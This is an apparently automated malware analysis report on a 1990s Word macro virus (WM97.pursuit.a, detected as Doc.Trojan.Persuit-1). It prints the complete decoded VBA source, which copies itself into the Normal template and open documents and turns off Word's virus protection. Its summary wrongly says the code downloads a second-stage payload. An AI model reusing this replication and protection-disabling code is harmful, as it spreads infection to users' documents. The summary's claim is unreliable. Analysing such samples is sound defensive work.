Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c7538eb2a544cdeb…

MALICIOUS

Office (OLE)

41.0 KB Created: 1999-04-25 20:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b8c30994bc3bfd2bd42c772bc38731ab SHA-1: b4749cba6c498e9cbd5d41bd8aae84cfb93ca8c6 SHA-256: c7538eb2a544cdeb141d059519cd9cf7ae49b2fca0d0284b8c963e7595696f68
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are indicative of malicious intent. The VBA script attempts to export a component to 'C:\IE32.dll' and then import it, suggesting it's designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Persuit-1' further supports the malicious classification.

Heuristics 6

  • ClamAV: Doc.Trojan.Persuit-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Persuit-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1666 bytes
SHA-256: e6b7146afe14bd9a3cdfa82b04c72b38c2b4d308a6afffce7b0b35b2d60f3879
Detection
ClamAV: Doc.Trojan.Persuit-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "pursuit"
Function pursuit()
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("pursuit").Export "C:\IE32.dll"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "pursuit" Then NormInfect = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "pursuit" Then docinfect = True
Next I
If NormInfect = False Then Set goinfect = NormalTemplate.VBProject
If docinfect = False Then Set goinfect = ActiveDocument.VBProject
goinfect.VBComponents.Import "C:\IE32.dll"
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Function
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.EnableCancelKey = False
Call payload
End Sub
Sub Autoclose()
On Error Resume Next
commandbars("tools").Controls("macro").Delete
Call pursuit
End Sub
Sub FileTemplates()
End Sub
Sub toolsmacro()
End Sub
Sub payload()
If Day(Now) = 5 Then
MsgBox "I'm in hot Pursuit", 0, "Psyclone X [PE]"
commandbars("Help").Controls("About Microsoft Word").Caption = "Pursuit By Psyclone X[PE]"
End If
End Sub
'''''''''''''''''''''''''''''''''''
'WM97.pursuit.a by Psyclone X [PE]'
'The Pencil Erasers:              '
'[SeZ] [Psyclone X] [RaTtRaP]     '
'''''''''''''''''''''''''''''''''''

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